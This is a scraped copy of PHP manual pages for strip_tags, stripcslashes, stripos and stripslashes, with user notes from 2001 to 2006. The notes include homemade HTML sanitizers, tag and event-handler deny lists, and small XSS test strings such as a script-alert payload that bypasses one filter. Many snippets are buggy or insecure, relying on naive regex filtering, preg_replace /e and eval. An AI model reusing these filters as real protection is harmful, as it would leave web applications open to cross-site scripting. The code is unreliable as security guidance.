this function also replaces  links like this :
<a href=font.php>test</a>
because word "font" is between tags "<" ">".

I changed reg exp with this
-----------------------------------------------------
if (eregi("(<|</)".$tag."*\"?[^>]*>", $varname))
-----------------------------------------------------

bye

Luca
Nyks
12-Oct-2005 04:39
Note for BRYN at drumdatabse dot com (http://www.php.net/manual/fr/function.strip-tags.php#52085) :

I've changed your script to support more possibilities.
- The first WHILE loop reiterates the second WHILE to strip_tags the html tags which possibly are cuted by the substr() function (and not recognized by the strip_tags() function)
- There's no more bugs with substr($textstring,0,1024) ... yes, when the WHILE loop reiterates for the second, third, fourth... time, if the length of $textstring is smaller than 1024 it returns error

<?php
function strip_tags_in_big_string($textstring){
while($textstring != strip_tags($textstring))
   {
   while (strlen($textstring) != 0)
         {
         if (strlen($textstring) > 1024) {
             $otherlen = 1024;
         } else {
             $otherlen = strlen($textstring);
         }
         $temptext = strip_tags(substr($textstring,0,$otherlen));
         $safetext .= $temptext;
         $textstring = substr_replace($textstring,'',0,$otherlen);
         }
   $textstring = $safetext;
   }
return $textstring;
?>
info at christopher-kunz dot de
29-Aug-2005 09:34
Please note that the function supplied by daneel at neezine dot net is not a good way of avoiding XSS attacks. A string like
<font size=">>" <script>alert("foo")</script> face="tahoma" color="#DD0000">salut</font>
will be sanitized to
<font>>" <script>alert("foo")</script> face="tahoma" color="#DD0000">salut</font>
which is a pretty good XSS.

If you are in need of XSS cleaning, you might want to consider the Pixel-Apes XSS cleaner: http://pixel-apes.com/safehtml
daneel at neezine dot net
23-Aug-2005 08:08
Remove attributes from a tag except the attributes specified, correction of cool routine from joris878 (who seems don't work) + example.
When PHP will going to support this natively ?
Sorry for my english. Hope everybody understand.

--French--
Enlve des attributs d'une balise, sauf les attributs spcifis dans un tableau.
C'est une correction et un exemple de mise en oeuvre du code (trs utile) post par joris878 qui ne semblait pas fonctionner en l'tat.
Quand PHP supportera ceci de faon native ?
----------

<?
function stripeentag($msg,$tag,$attr) {
  $lengthfirst = 0;
  while (strstr(substr($msg,$lengthfirst),"<$tag ")!="")
  {
   $imgstart = $lengthfirst + strpos(substr($msg,$lengthfirst), "<$tag ");
   $partafterwith = substr($msg,$imgstart);
   $img = substr($partafterwith,0,strpos($partafterwith,">")+1);
   $img = str_replace(" =","=",$msg);
   $out = "<$tag";

 for($i=0; $i <= (count($attr) - 1 );$i++)
 {
   $long_val = strpos($img," ",strpos($img,$attr[$i]."=")) - (strpos($img,$attr[$i]."=") + strlen($attr[$i]) + 1) ;
   $val = substr($img, strpos($img,$attr[$i]."=") + strlen($attr[$i]) + 1,$long_val);
     if(strlen($val)>0) $attr[$i] = " ".$attr[$i]."=".$val;
     else $attr[$i] = "";
     $out .= $attr[$i];
 }

   $out .= ">";
   $partafter = substr($partafterwith,strpos($partafterwith,">")+1);
   $msg = substr($msg,0,$imgstart).$out.$partafter;
   $lengthfirst = $imgstart+3;
  }
  return $msg;
}

$message = "<font size=\"10\" face=\"tahoma\" color=\"#DD0000\" >salut</font>" ;

//on ne garde que la couleur
//we want only "color" attribute
$message = stripeentag($message,"font",array("color"));

echo $message ;
?>
11-Aug-2005 03:08
<?php
/**removes specifed tags from the text where each tag requires a
     *closing tag and if the later
     *is not found then everything after will be removed
     *typical usage:
     *some html text, array('script','body','html') - all lower case*/
   public static function removeTags($text,$tags_array){
       $length = strlen($text);
       $pos =0;
       $tags_array = $array_flip($tags_array);
       while ($pos < $length && ($pos = strpos($text,'<',$pos)) !== false){
           $dlm_pos = strpos($text,' ',$pos);
           $dlm2_pos = strpos($text,'>',$pos);
           if ($dlm_pos > $dlm2_pos)$dlm_pos=$dlm2_pos;
           $which_tag = strtolower(substr($text,$pos+1,$dlm_pos-($pos+1)));
           $tag_length = strlen($srch_tag);
           if (!isset($tags_array[$which_tag])){
               //if no tag matches found
               ++$pos;
               continue;
           }
           //find the end
           $sec_tag = '</'.$which_tag.'>';
           $sec_pos = stripos($text,$sec_tag,$pos+$tag_length);
           //remove everything after if end of the tag not found
           if ($sec_pos === false) $sec_pos = $length-strlen($sec_tag);
           $rmv_length = $sec_pos-$pos+strlen($sec_tag);
           $text = substr_replace($text,'',$pos,$rmv_length);
           //update length
           $length = $length - $rmv_length;
           $pos++;
       }
       return $text;
   }
?>
erwin at spammij dot nl
08-Jul-2005 11:13
if you want to disable you can easyly replace all instances of < and > , which will make all HTML code not working.
php at scowen dot com
08-Jun-2005 03:50
I have had a similar problem to kangaroo232002 at yahoo dot co dot uk when stripping tags from html containing javascript. The javascript can obviously contain '>' and '<' as comparison operators which are seen by strip_tags() as html tags - leading to undesired results.

To christianbecke at web dot de - this can be third-party html, so although perhaps not always 'correct', that's how it is!
anonymous
28-May-2005 03:45
Someone can use attributes like CSS in the tags.
Example, you strip all tagw except <b> then a user can still do <b style="color: red; font-size: 45pt">Hello</b> which might be undesired.

Maybe BB Code would be something.
bazzy
23-Apr-2005 08:09
I think bryn and john780 are missing the point - eric at direnetworks wasn't suggesting there is an overall string limit of 1024 characters but rather that actual tags over 1024 characters long (eg, in his case it sounds like a really long encrypted <a href> tag) will fail to be stripped.

The functions to slowly pass strings through strip_tags 1024 characters at a time aren't necessary and are actually counter productive (since if a tag spans the break point, ie it is opened before the 1024 characters and closed after the 1024 characters then only the opening tag is removed which leaves a mess of text up to the closing tag).

Only mentioning this as I spent ages working out a better way to deal with this character spanning before I actually went back and read eric's post and realised the subsequent posts were misleading - hopefully it'll save others the same headaches :)
bryn -at- drumdatabase dot net
21-Apr-2005 05:38
Further to john780's idea for a solution to the 1024 character limit of strip_tags - it's a good one, but I think the ltrim function isn't the one for the job? I wrote this simple function to get around the limit (I'm a newbie, so there may be some problem / better way of doing it!):

<?
function strip_tags_in_big_string($textstring){
   while (strlen($textstring) != 0)
       {
       $temptext = strip_tags(substr($textstring,0,1024));
       $safetext .= $temptext;
       $textstring = substr_replace($textstring,'',0,1024);
       }
   return $safetext;
}
?>

Hope someone finds it useful.
cz188658 at tiscali dot cz
08-Apr-2005 04:21
If you want to remove XHTML tags like <br /> (single pair tags), as an allowable_tags parametr you must include tag <br>
Jiri
php at arzynik dot com
29-Mar-2005 08:04
instead of removing tags that you dont want, sometimes you might want to just stop them from doing anything.

<?php
$disalowedtags = array("script",
                       "object",
                       "iframe",
                       "image",
                       "applet",
                       "meta",
                       "form",
                       "onmouseover",
                       "onmouseout");

foreach ($_GET as $varname)
foreach ($disalowedtags as $tag)
if (eregi("<[^>]*".$tag."*\"?[^>]*>", $varname))
die("stop that");

foreach ($_POST as $varname)
foreach ($disalowedtags as $tag)
if (eregi("<[^>]*".$tag."*\"?[^>]*>", $varname))
die("stop that");

?>
christianbecke at web dot de
16-Feb-2005 10:34
to kangaroo232002 at yahoo dot co dot uk:

As far as I understand, what you report is not a bug in strip_tags(), but a bug in your HTML.
You should use alt='Go &gt;' instead of alt='Go >'.

I suppose your HTML diplays allright in browsers, but that does not mean it's correct. It just shows that browsers are more graceful concerning characters not properly escaped as entities than strip_tags() is.
kangaroo232002 at yahoo dot co dot uk
03-Feb-2005 09:23
After wondering why the following was indexed in my trawler despite stripping all text in tags (and punctuation) " valign left align middle border 0 src go gif name search1 onclick search", please take a quick look at what produced it: <DIV style="position: absolute; TOP:22%; LEFT:68%;"><input type="image" alt="Go >" valign="left" align="middle" border=0 src="go.gif" name="search1" onClick="search()"></div>...

looking at this closely, it is possible to see that despite the 'Go >' statement being enclosed in speech marks (with the right facing chevron), strip_tags() still assumes that it is the end of the input statement, and treats everything after as text. Not sure if this has been fixed in later versions; im using v4.3.3...

good hunting.
jon780 -at- gmail.com
03-Feb-2005 01:18
To eric at direnetworks dot com regarding the 1024 character limit:

You could simply ltrim() the first 1024 characters, run them through strip_tags(), add them to a new string, and remove them from the first.

Perform this in a loop which continued until the original string was of 0 length.
dumb at coder dot com
17-Jan-2005 08:22
/*
15Jan05

Within <textarea>, Browsers auto render & display certain "HTML Entities" and "HTML Entity Codes" as characters:
&lt; shows as <    --    &amp; shows as &    --    etc.

Browsers also auto change any "HTML Entity Codes" entered in a <textarea> into the resultant display characters BEFORE UPLOADING.  There's no way to change this, making it difficult to edit html in a <textarea>

"HTML Entity Codes" (ie, use of &#60 to represent "<", &#38 to represent "&" &#160 to represent "&nbsp;") can be used instead.  Therefore, we need to "HTML-Entitize" the data for display, which changes the raw/displayed characters into their HTML Entity Code equivalents before being shown in a <textarea>.

how would I get a textarea to contain "&lt;" as a literal string of characters and not have it display a "<"
&amp;lt; is indeed the correct way of doing that. And if you wanted to display that, you'd need to use &amp;amp;lt;'. That's just how HTML entities work.

htmlspecialchars() is a subset of htmlentities()
the reverse (ie, changing html entity codes into displayed characters, is done w/ html_entity_decode()

google on ns_quotehtml and see http://aolserver.com/docs/tcl/ns_quotehtml.html
see also http://www.htmlhelp.com/reference/html40/entities/
*/
eric at direnetworks dot com
21-Dec-2004 10:36
the strip_tags() function in both php 4.3.8 and 5.0.2 (probably many more, but these are the only 2 versions I tested with) have a max tag length of 1024.  If you're trying to process a tag over this limit, strip_tags will not return that line (as if it were an illegal tag).  I noticed this problem while trying to parse a paypal encrypted link button (<input type="hidden" name="encrypted" value="encryptedtext">, with <input> as an allowed tag), which is 2702 characters long.  I can't really think of any workaround for this other than parsing each tag to figure out the length, then only sending it to strip_tags() if its under 1024, but at that point, I might as well be stripping the tags myself.
ashley at norris dot org dot au
01-Nov-2004 11:11
leathargy at hotmail dot com wrote:

"it seems we're all overlooking a few things:
1) if we replace "</ta</tableble>" by removing </table, we're not better off..."

I beat this by using ($input contains the data):

<?php
while($input != strip_tags($input)) {
           $input = strip_tags($input);
       }
?>

This iteratively strips tags until all tags have gone :)
@dada
29-Sep-2004 08:41
if you  only want to have the text within the tags, you can use this function:

function showtextintags($text)

{

$text = preg_replace("/(\<script)(.*?)(script>)/si", "dada", "$text");
$text = strip_tags($text);
$text = str_replace("<!--", "&lt;!--", $text);
$text = preg_replace("/(\<)(.*?)(--\>)/mi", "".nl2br("\\2")."", $text);

return $text;

}

it will show all the text without tags and (!!!) without javascripts
Anonymous User
23-Aug-2004 12:24
Be aware that tags constitute visual whitespace, so stripping may leave the resulting text looking misjoined.

For example,

"<strong>This is a bit of text</strong><p />Followed by this bit"

are seperable paragraphs on a visual plane, but if simply stripped of tags will result in

"This is a bit of textFollowed by this bit"

which may not be what you want, e.g. if you are creating an excerpt for an RSS description field.

The workaround is to force whitespace prior to stripping, using something like this:

     $text = getTheText();
     $text = preg_replace('/</',' <',$text);
     $text = preg_replace('/>/','> ',$text);
     $desc = html_entity_decode(strip_tags($text));
     $desc = preg_replace('/[\n\r\t]/',' ',$desc);
     $desc = preg_replace('/  /',' ',$desc);
Isaac Schlueter php at isaacschlueter dot com
17-Aug-2004 10:32
steven --at-- acko --dot-- net pointed out that you can't make strip_slashes allow comments.  With this function, you can.  Just pass <!--> as one of the allowed tags.  Easy as pie: just pull them out, strip, and then put them back.

<?php
function strip_tags_c($string, $allowed_tags = '')
{
   $allow_comments = ( strpos($allowed_tags, '<!-->') !== false );
   if( $allow_comments )
   {
       $string = str_replace(array('<!--', '-->'), array('&lt;!--', '--&gt;'), $string);
       $allowed_tags = str_replace('<!-->', '', $allowed_tags);
   }
   $string = strip_tags( $string, $allowed_tags );
   if( $allow_comments ) $string = str_replace(array('&lt;!--', '--&gt;'), array('<!--', '-->'), $string);
   return $string;
}
?>
Isaac Schlueter php at isaacschlueter dot com
16-Aug-2004 02:16
I am creating a rendering plugin for a CMS system (http://b2evolution.net) that wraps certain bits of text in acronym tags.  The problem is that if you have something like this:
<a href="http://www.php.net" title="PHP is cool!">PHP</a>

then the plugin will mangle it into:

<a href="http://www.<acronym title="PHP: Hypertext Processor">php</acronym>.net" title="<acronym title="PHP: Hypertext Processor">PHP</acronym> is cool!>PHP</a>

This function will strip out tags that occur within other tags.  Not super-useful in tons of situations, but it was an interesting puzzle.  I had started out using preg_replace, but it got riduculously complicated when there were linebreaks and multiple instances in the same tag.

The CMS does its XHTML validation before the content gets to the plugin, so we can be pretty sure that the content is well-formed, except for the tags inside of other tags.

<?php
if( !function_exists( 'antiTagInTag' ) )
{
   // $content is the string to be anti-tagintagged, and $format sets the format of the internals.
   function antiTagInTag( $content = '', $format = 'htmlhead' )
   {
       if( !function_exists( 'format_to_output' ) )
       {    // Use the external function if it exists, or fall back on just strip_tags.
           function format_to_output($content, $format)
           {
               return strip_tags($content);
           }
       }
       $contentwalker = 0;
       $length = strlen( $content );
       $tagend = -1;
       for( $tagstart = strpos( $content, '<', $tagend + 1 ) ; $tagstart !== false && $tagstart < strlen( $content ); $tagstart = strpos( $content, '<', $tagend ) )
       {
           // got the start of a tag.  Now find the proper end!
           $walker = $tagstart + 1;
           $open = 1;
           while( $open != 0 && $walker < strlen( $content ) )
           {
               $nextopen = strpos( $content, '<', $walker );
               $nextclose = strpos( $content, '>', $walker );
               if( $nextclose === false )
               {    // ERROR! Open waka without close waka!
                   // echo '<code>Error in antiTagInTag - malformed tag!</code> ';
                   return $content;
               }
               if( $nextopen === false || $nextopen > $nextclose )
               { // No more opens, but there was a close; or, a close happens before the next open.
                   // walker goes to the close+1, and open decrements
                   $open --;
                   $walker = $nextclose + 1;
               }
               elseif( $nextopen < $nextclose )
               { // an open before the next close
                   $open ++;
                   $walker = $nextopen + 1;
               }
           }
           $tagend = $walker;
           if( $tagend > strlen( $content ) )
               $tagend = strlen( $content );
           else
           {
               $tagend --;
               $tagstart ++;
           }
           $tag = substr( $content, $tagstart, $tagend - $tagstart );
           $tags[] = '<' . $tag . '>';
           $newtag = format_to_output( $tag, $format );
           $newtags[] = '<' . $newtag . '>';
           $newtag = format_to_output( $tag, $format );
       }

       $content = str_replace($tags, $newtags, $content);
       return $content;
   }
}
Tony Freeman
20-Nov-2003 06:45
This is a slightly altered version of tREXX's code.  The difference is that this one simply removes the unwanted attributes (rather than flagging them as forbidden).

function removeEvilAttributes($tagSource)
{
       $stripAttrib = "' (style|class)=\"(.*?)\"'i";
       $tagSource = stripslashes($tagSource);
       $tagSource = preg_replace($stripAttrib, '', $tagSource);
       return $tagSource;
}

function removeEvilTags($source)
{
   $allowedTags='<a><br><b><h1><h2><h3><h4><i>' .
             '<img><li><ol><p><strong><table>' .
             '<tr><td><th><u><ul>';
   $source = strip_tags($source, $allowedTags);
   return preg_replace('/<(.*?)>/ie', "'<'.removeEvilAttributes('\\1').'>'", $source);
}

$text = '<p style="Normal">Saluton el <a href="#?"
 class="xsarial">Esperanto-lando</a><img src="my.jpg"
 alt="Saluton" width=100 height=100></p>';

$text = removeEvilTags($text);

var_dump($text);
leathargy at hotmail dot com
27-Oct-2003 02:15
it seems we're all overlooking a few things:
1) if we replace "</ta</tableble>" by removing </table, we're not better off. try using a char-by-char comparison, and replaceing stuff with *s, because then this ex would become "</ta******ble>", which is not problemmatic; also, with a char by char approach, you can skip whitespace, and kill stuff like "< table>"... just make sure <&bkspTable> doesn't work...
2) no browser treats { as <.[as far as i know]
3) because of statement 2, we can do:
$remove=array("<?","<","?>",">");
$change=array("{[pre]}","{[","{/pre}","]}");
$repairSeek = array("{[pre]}", "</pre>","{[b]}","{[/b]}","{[br]}");
// and so forth...

$repairChange("<pre>","</pre>","<b>","<b>","<br>");
// and so forth...

$maltags=array("{[","]}");
$nontags=array("{","}");
$unclean=...;//get variable from somewhere...
$unclean=str_replace($remove,$change,$unclean);
$unclean=str_replace($repairSeek, $repairChange, $unclean);
$clean=str_replace($maltags, $nontags, $unclean);

////end example....
4) we can further improve the above by using explode(for our ease):
function purifyText($unclean, $fixme)
{
$remove=array();
$remove=explode("\n",$fixit['remove']);
//... and so forth for each of the above arrays...
// or you could just pass the arrays..., or a giant string
//put above here...
return $clean
}//done
tREXX [www.trexx.ch]
15-Oct-2003 09:15
Here's a quite fast solution to remove unwanted tags AND also unwanted attributes within the allowed tags:

<?php
/**
 * Allow these tags
 */
$allowedTags = '<h1><b><i><a><ul><li><pre><hr><blockquote><img>';

/**
 * Disallow these attributes/prefix within a tag
 */
$stripAttrib = 'javascript:|onclick|ondblclick|onmousedown|onmouseup|onmouseover|'.
               'onmousemove|onmouseout|onkeypress|onkeydown|onkeyup';

/**
 * @return string
 * @param string
 * @desc Strip forbidden tags and delegate tag-source check to removeEvilAttributes()
 */
function removeEvilTags($source)
{
   global $allowedTags;
   $source = strip_tags($source, $allowedTags);
   return preg_replace('/<(.*?)>/ie', "'<'.removeEvilAttributes('\\1').'>'", $source);
}

/**
 * @return string
 * @param string
 * @desc Strip forbidden attributes from a tag
 */
function removeEvilAttributes($tagSource)
{
   global $stripAttrib;
   return stripslashes(preg_replace("/$stripAttrib/i", 'forbidden', $tagSource));
}

// Will output: <a href="forbiddenalert(1);" target="_blank" forbidden =" alert(1)">test</a>
echo removeEvilTags('<a href="javascript:alert(1);" target="_blank" onMouseOver = "alert(1)">test</a>');
?>
dougal at gunters dot org
11-Sep-2003 04:03
strip_tags() appears to become nauseated at the site of a <!DOCTYPE> declaration (at least in PHP 4.3.1). You might want to do something like:

$html = str_replace('<!DOCTYPE','<DOCTYPE',$html);

before processing with strip_tags().
joris878 at hotmail dot com
04-Jun-2003 08:58
[  Editor's Note: This functionality will be natively supported in a future release of PHP.  Most likely 5.0  ]

This routine removes all attributes from a given tag except
the attributes specified in the array $attr.

function stripeentag($msg,$tag,$attr) {
  $lengthfirst = 0;
  while (strstr(substr($msg,$lengthfirst),"<$tag ")!="")
  {
   $imgstart = $lengthfirst + strpos(substr($msg,$lengthfirst), "<$tag ");
   $partafterwith = substr($msg,$imgstart);
   $img = substr($partafterwith,0,strpos($partafterwith,">")+1);
   $img = str_replace(" =","=",$msg);
   $out = "<$tag";
   for($i=1;$i<=count($atr);$i++)
   {
     $val = filter($img,$attr[$i]."="," ");
     if(strlen($val)>0) $attr[$i] = " ".$attr[$i]."=".$val;
     else $attr[$i] = "";
     $out .= $attr[$i];
   }
   $out .= ">";
   $partafter = substr($partafterwith,strpos($partafterwith,">")+1);
   $msg = substr($msg,0,$imgstart).$out.$partafter;
   $lengthfirst = $imgstart+3;
  }
  return $msg;
}
Chuck
21-Mar-2003 08:01
Caution, HTML created by Word may contain the sequence
'<?xml...'

Apparently strip_slashes treats this like <?php and removes the remainder of the input string. Not the just the XML tag but all input that follows.
dontknowwhat at thehellIamdoing dot com
20-Nov-2002 10:23
Here's a quickie that will strip out only specific tags. I'm using it to clean up Frontpage and WORD code from included third-party code (which shouldn't have the all the extra header information in it).

$contents = "Your HTML string";

// Part 1
// This array is for single tags and their closing counterparts

$tags_to_strip = Array("html","body","meta","link","head");

foreach ($tags_to_strip as $tag) {
       $contents = preg_replace("/<\/?" . $tag . "(.|\s)*?>/","",$contents);
}

// Part 2
// This array is for stripping opening and closing tags AND what's in between

$tags_and_content_to_strip = Array("title");

foreach ($tags_and_content_to_strip as $tag) {
       $contents = preg_replace("/<" . $tag . ">(.|\s)*?<\/" . $tag . ">/","",$contents);
}
mrmaxxx333 at triad dot rr dot com
08-May-2002 02:29
to rid everything in between script tags, including the script tags, i use this.

<?php
$description = ereg_replace("~<script[^>]*>.+</script[^>]*>~isU", "", $description);
?>

it hasn't been extensively tested, but it works.

also, i ran into trouble with a href tags. i wanted to strip out the url in them. i did this to turn an <a href="blah.com">welcome to blah</a> into welcome to blah (blah.com)

<?php
$string = preg_replace('/<a\s+.*?href="([^"]+)"[^>]*>([^<]+)<\/a>/is', '\2 (\1)', $string);
?>
guy at datalink dot SPAMMENOT dot net dot au
15-Mar-2002 02:19
Strip tags will NOT remove HTML entities such as &nbsp;
chrisj at thecyberpunk dot com
19-Dec-2001 04:57
strip_tags has doesn't recognize that css within the style tags are not document text. To fix this do something similar to the following:

$htmlstring = preg_replace("'<style[^>]*>.*</style>'siU",'',$htmlstring);
add a note add a note

后退 | 起点 | 前进
strcspn | 上一级 | stripcslashes


stripcslashes

(PHP 4, PHP 5)

stripcslashes -- Un-quote string quoted with addcslashes()

Description

string stripcslashes ( string str )

Returns a string with backslashes stripped off. Recognizes C-like \n, \r ..., octal and hexadecimal representation.

See also addcslashes().

add a note add a note User Contributed Notes
abodeman BLAH at yahoo dot com
15-Jul-2003 03:27
stripcslashes does not accept hexadecimal escape sequences of more than two digits, even though C does. This means that all of the following are true (in C the second and third examples would contain the characters '\x48e' and '\x323' respectively):

stripcslashes('H\x65llo') == 'Hello'
stripcslashes('\x48ello') == 'Hello'
stripcslashes('1\x323') == '123'

stripcslashes does accept hexadecimal escape sequences of only one digit, as long as the following digit is not a valid hexadecimal digit, so both of the following are true:

stripcslashes('He\xallo') == 'He'."\n".'llo'
stripcslashes('H\xaello') == 'H'.chr(0xAE).'llo'

The fact that stripcslashes is limited to two hexadecimal digits looks like a bug at first glance, but it can be a feature. You can, for example, do a simple str_replace(':', '\x3a', $str) to replace all colons in a string with '\x3a' without having to worry about whether or not the next character will be interpreted as a hexadecimal digit.

If this "bug" is ever fixed, there will be no way in PHP to escape the colon in the string 'a:b' with a hexadecimal representation, since the 'b' would be interpreted as the hexadecimal digit 11. The string 'a\x3ab' would be interpreted as 'a'.chr(0x3AB).
nospam at nowhere dot com
06-Nov-2002 07:57
if you allow users to submit fields with apostrophy's inside, what you should do is pass that string into "stripcslashes()" to remove any slashes that may be automatically added by whatever that is causing it. As usual, you should verify this for yourself by creating a form and output the raw data in plain text format to make sure you have it right. The reason why MySQL does seem to ignore this problem is because it takes the "\'" and treat it as "'".
add a note add a note

后退 | 起点 | 前进
strip_tags | 上一级 | stripos


stripos

(PHP 5)

stripos -- Find position of first occurrence of a case-insensitive string

Description

int stripos ( string haystack, string needle [, int offset] )

Returns the numeric position of the first occurrence of needle in the haystack string. Unlike strpos(), stripos() is case-insensitive.

Note that the needle may be a string of one or more characters.

If needle is not found, stripos() will return boolean FALSE.

警告

本函数可能返回布尔值 FALSE，但也可能返回一个与 FALSE 等值的非布尔值，例如 0 或者 ""。请参阅布尔类型章节以获取更多信息。应使用 === 运算符来测试本函数的返回值。

例子 1. stripos() examples

<?php
$findme    = 'a';
$mystring1 = 'xyz';
$mystring2 = 'ABC';

$pos1 = stripos($mystring1, $findme);
$pos2 = stripos($mystring2, $findme);

// Nope, 'a' is certainly not in 'xyz'
if ($pos1 === false) {
    echo "The string '$findme' was not found in the string '$mystring1'";
}

// Note our use of ===.  Simply == would not work as expected
// because the position of 'a' is the 0th (first) character.
if ($pos2 !== false) {
    echo "We found '$findme' in '$mystring2' at position $pos2";
}
?>

If needle is not a string, it is converted to an integer and applied as the ordinal value of a character.

The optional offset parameter allows you to specify which character in haystack to start searching. The position returned is still relative to the beginning of haystack.

注: 本函数可安全用于二进制对象。

See also strpos(), strrpos(),
strrchr(), substr(),
stristr(), strstr(),
strripos() and str_ireplace().

add a note add a note User Contributed Notes
rchillet at hotmail dot com
28-Apr-2006 04:45
improvement the function of heavyraptor with int offset parametre.

if (!function_exists("stripos")) {
  function stripos($str,$needle,$offset=0)
  {
     return strpos(strtolower($str),strtolower($needle),$offset);
  }
}
heavyraptor
21-Mar-2006 10:59
If you're using PHP < 5, you can use this alternate function, same thing like stripos:

<?php
if (!function_exists("stripos")) {
  function stripos($str,$needle) {
   return strpos(strtolower($str),strtolower($needle));
  }
}
?>

Such a logical function but I hope it helps ...
sim
03-Oct-2004 01:17
Just to be explicit, the position index returned by strpos starts at 0, not 1. e.g. strpos('abc','a') returns 0.
aidan at php dot net
31-May-2004 01:36
This functionality is now implemented in the PEAR package PHP_Compat.

More information about using this function without upgrading your version of PHP can be found on the below link:

http://pear.php.net/package/PHP_Compat
add a note add a note

后退 | 起点 | 前进
stripcslashes | 上一级 | stripslashes


stripslashes

(PHP 3, PHP 4, PHP 5)

stripslashes -- Un-quote string quoted with addslashes()

Description

string stripslashes ( string str )

Returns a string with backslashes stripped off. (\' becomes ' and so on.) Double backslashes (\\) are made into a single backslash (\).

注: If magic_quotes_sybase is on, no backslashes are stripped off but two apostrophes are replaced by one instead.

An example use of stripslashes() is when the PHP directive magic_quotes_gpc is on (it's on by default), and you aren't inserting this data into a place (such as a database) that requires escaping. For example, if you're simply outputting data straight from an HTML form.

例子 1. A stripslashes() example

<?php
$str = "Is your name O\'reilly?";

// Outputs: Is your name O'reilly?
echo stripslashes($str);
?>

注: stripslashes() is not recursive. If you want to apply this function to a mutli-dimensional array, you need to use a recursive function.

例子 2. Using stripslashes() on an array

<?php
function stripslashes_deep($value)
{
    $value = is_array($value) ?
                array_map('stripslashes_deep', $value) :
                stripslashes($value);

    return $value;
}

// Example
$array = array("f\\'oo", "b\\'ar", array("fo\\'o", "b\\'ar"));
$array = stripslashes_deep($array);

// Output
print_r($array);
?>

上例将输出：

Array
(
    [0] => f'oo
    [1] => b'ar
    [2] => Array
        (
            [0] => fo'o
            [1] => b'ar
        )

)

For more information about "magic quotes", see get_magic_quotes_gpc().

See also addslashes() and get_magic_quotes_gpc().

add a note add a note User Contributed Notes
Kibby
14-May-2006 05:49
For hauser's note, here's a solution:

<?
if ( get_magic_quotes_gpc() ) {
   function stripslashes_deep($value) {
       $value = is_array($value) ? array_map('stripslashes_deep', $value) : (isset($value) ? stripslashes($value) : null);
       return $value;
   }

   $_POST = stripslashes_deep($_POST);
   $_GET = stripslashes_deep($_GET);
   $_COOKIE = stripslashes_deep($_COOKIE);
}
?>
Kibby
14-May-2006 04:41
Okay, if using stripslashes_deep, it will definitely replace any NULL to "".  This will affect to coding that depends isset().  Please provide a workaround based on recent note.
hauser dot j at gmail dot com
21-Feb-2006 06:13
Don't use stripslashes if you depend on the values NULL.

Apparently stripslashes converts NULL to string(0) ""

<?php
$a = null;
var_dump($a);

$b = stripslashes($a);
var_dump($b);
?>
Will output

NULL
string(0) ""
alexandre dot lemiere at laposte dot net
17-Jan-2006 12:39
if you want to strip the slashes on your post variables you'd better use function stripslashes_deep from above. Because POST could contain arrays.

ie :
if ( get_magic_quotes_gpc() ) {
   function stripslashes_deep($value) {
       $value = is_array($value) ? array_map('stripslashes_deep', $value) : stripslashes($value);
       return $value;
   }
   $_POST = stripslashes_deep($_POST);
   $_GET = stripslashes_deep($_GET);
   $_COOKIE = stripslashes_deep($_COOKIE);
}
php at baskettcase dot com
09-Dec-2005 09:28
Ugh. Ok sorry I used the wrong function, I should have used array_map

$_POST = array_map('stripslashes', $_POST);
php at baskettcase dot com
09-Dec-2005 08:53
array_walk is not used enough. I see several people doing a foreach to strip the slashes on their post variables, why not do this:

array_walk($_GET, 'stripslashes');
array_walk($_POST, 'stripslashes');
array_walk($_REQUEST, 'stripslashes');

use whichever you normally use in your code.
aescomputer AT yahoo DOT com
28-Oct-2005 01:35
I was inspired by sam's code to use it to strip tags into rendered info by making < and > into '&lt; and &gt; respectively:

// clean url attributes of html tags
   if(!empty($_REQUEST)){
       foreach($_REQUEST as $x => $y){
           $_REQUEST[$x] = str_replace('<', '&lt;', str_replace('>', '&gt;', $y));
       }
   }
alf at mitose dot net
26-Oct-2005 08:09
Take care using stripslashes() if the text you want to insert in the database contain \n characters ! You'll see "n" instead of (not seeing) "\n".

It should be no problem for XML, but is still boring ...
ndl at webspeed dot dk
17-Oct-2005 01:28
The note below still outputted slashes in my script, this one removes it all. It is really just a repeat of the below note, and is quite simple, but it made it work for me (after a few hours with unremoveable slashes)

if(!empty($_POST)){
   foreach($_POST as $x => $y){
       $_POST[$x] = stripslashes($y);
       foreach($_POST as $x => $y){
           $_POST[$x] = stripslashes($y);
       }
   }
}
sam AT emovieposter DOT com
10-Oct-2005 11:21
If you are simply looking to clear slashes from you POST and GET variables, this seems to work well...

<?PHP
if(!empty($_POST)){
foreach($_POST as $x => $y){
$_POST[$x] = stripslashes($y);
}
}
?>

it's simple.
r_loebs at hotmail dot com
25-Jun-2005 10:03
Of course why not just do an

if($r){ stuff; } <-- this will check it all, NULL, 0, ""
john at NOSPAMdoe dot com
30-Mar-2005 12:01
To avoid having to repeatedly check for magic quotes, use this piece of code:

<?php

eval('function cndstrips($str)
{
  return ' . (get_magic_quotes_gpc() ? 'stripslashes($str)' : '$str') . ';
}');

?>

somewhere in the first lines. After this, you can use cndstrips (conditional strip slashes, ofcourse you can rename) instead of stripslashes, and without having to worry about stripping normal strings.

Don't overdo it, however.

If stripping slashes just once is all that matters, try something like this:

<?php

if (get_magic_quotes_gpc())
{
  if (is_array($_POST)
   foreach($_POST  as  $k=>$v) if (is_string($v) $_POST[$k] = stripslashes($v);
  if (is_array($_COOKIE)
   foreach($_COOKIE as $k=>$v) if (is_string($v)$_COOKIE[$k]= stripslashes($v);
  if (is_array($_GET)
   foreach($_GET    as $k=>$v) if (is_string($v) $_GET[$k]  = stripslashes($v);
}

?>

This works with PHP4.
ferik100 at flexis dot com dot br
15-Feb-2005 08:05
Here's a function to get rid of slashes added by magic_quotes_gpc. The parameter it takes can be either a string or an array. I use it to clean up $_POST arrays before processing their contents (rather than stripping slashes from each key and value as the contents are being processed).

function strip_gpc_slashes ($input)
{
   if ( !get_magic_quotes_gpc() || ( !is_string($input) && !is_array($input) ) )
   {
       return $input;
   }

   if ( is_string($input) )
   {
       $output = stripslashes($input);
   }
   elseif ( is_array($input) )
   {
       $output = array();
       foreach ($input as $key => $val)
       {
           $new_key = stripslashes($key);
           $new_val = strip_gpc_slashes($val);
           $output[$new_key] = $new_val;
       }
   }

   return $output;
}

Note: With PHP5 at least this function will preserve user-submitted slashes, so if a user types 'test\' in a form field, this function will return exactly 'test\', not 'test', as suggested by mattyblah at gmail dot com.
10-Feb-2005 11:45
If you want to deal with slashes in double-byte encodings, such as shift_jis or big5, you may use this:

<?
function stripslashes2($string) {
   $string = str_replace("\\\"", "\"", $string);
   $string = str_replace("\\'", "'", $string);
   $string = str_replace("\\\\", "\\", $string);
   return $string;
}
?>
pasamio AT sirdurkus DOT net
